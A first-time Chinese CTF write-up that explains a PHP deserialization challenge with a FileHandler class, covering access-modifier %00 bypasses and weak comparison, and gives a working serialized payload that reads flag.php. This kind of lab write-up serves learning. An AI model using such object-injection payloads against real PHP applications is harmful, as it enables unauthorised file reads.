啪一下,一坨代码扔给我,很快凹!
首先是包含了flag.php文件
include("flag.php");
然后就是 一个php语法高亮显示,没啥用跳过。
highlight_file(__FILE__);
紧接着就是一个class类的定义
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
这么一大堆讲了啥,再看看。
先是整了PHP的访问修饰符,插入知识点。
类属性可以定义为public, private 或者 protected。在没有任何访问控制关键字的情况下,属性声明为 public。
**public**:公共
**protected**:受保护,只有当前类成员和继承该类的类才能使用
绕过方法:%00类名%00成员名
**private**:私有,只有自己才能访问
绕过方法:%00%00成员名
下面构造了函数
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
初始化加调用process(),process在哪呢?下面
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
如果op=1,执行写,op=2,执行读,不然就是坏黑客!
下面是写的内容
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
知识点插入
isset()用来检测变量是否设置
strlen()用来检测变量长度
满足content小于100即可绕过。
下面的自定义read函数和output函数用处较为明显,略过不表。
来不及悼念read和output,接下来登场的是重量级,destruct函数
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
_destruct()当一个对象或对象操作终止时被调用
这里的if判断使用了三个等号,是强比较,插入知识点
强比较:===
比较值,也比较类型
例如:"123a"===123=>false
弱比较:==
弱比较主要是字符型和数字型的比较
1.字符型和字符型,数字型和数字型,同类型比较值。
2.字符型和数字型比较
若字符型值开头为数字,转为数字;
若开头不为数字,为null弱比较与0相等。
例如:"a123"==123=>false
"abc123"==0=>true
"123a"==123=>true
3.布尔值true和任意字符串和数值比较,除了false和0,都为true。因为0在布尔值中是false,true和false不等。
这里可以写的是,如果op===2就强行赋值1,然后content变成空,调用process。
然后来到了is_valid函数
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
插入知识点
ord函数用来返回ascii值
这个函数来检测我们传入的每个字母在32和125之间
最后就是一个get传参,传到is_valid里检测,true就反序列化str
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
全部代码读完了,来看看解法吧。
首先要给op赋值数字2,我们需要进入read,然后把res输出出来,
接着是filename,题目里给了是flag.php
最后就是通过get传参,把我们构造的序列化payload传进去。
序列化代码
<?php
class FileHandler{
public $op = 2;
public $filename = "flag.php";
public $content = "1";
}
$a = new FileHandler;
$b = serialize($a);
echo $b;
?>
找个菜鸟教程的在线编译器丢进去吧。
序列化后
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
注意,这里使用的是public公共对象,因为protected对象在序列化之后是由%00*%00字符,而这个%00*%00的ASCII码为0,是不能通过is_valid()的检测的,所以要转换成公共对象,因为在php7.1+版本对类型不敏感,所以改成public就可以顺利绕过。
把这序列化后的构造成payload
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
再查看源码
便得到了flag。
第一次写wp,感觉有很多不对,我刷ctfweb题的时候,感觉很多知识看过就忘了,很多师傅写的wp很好,但是记不住没用啊,所以我想着能不能自己试着写写wp,然后来帮助自己记住知识点,希望师傅看到不对的指正一下,谢谢!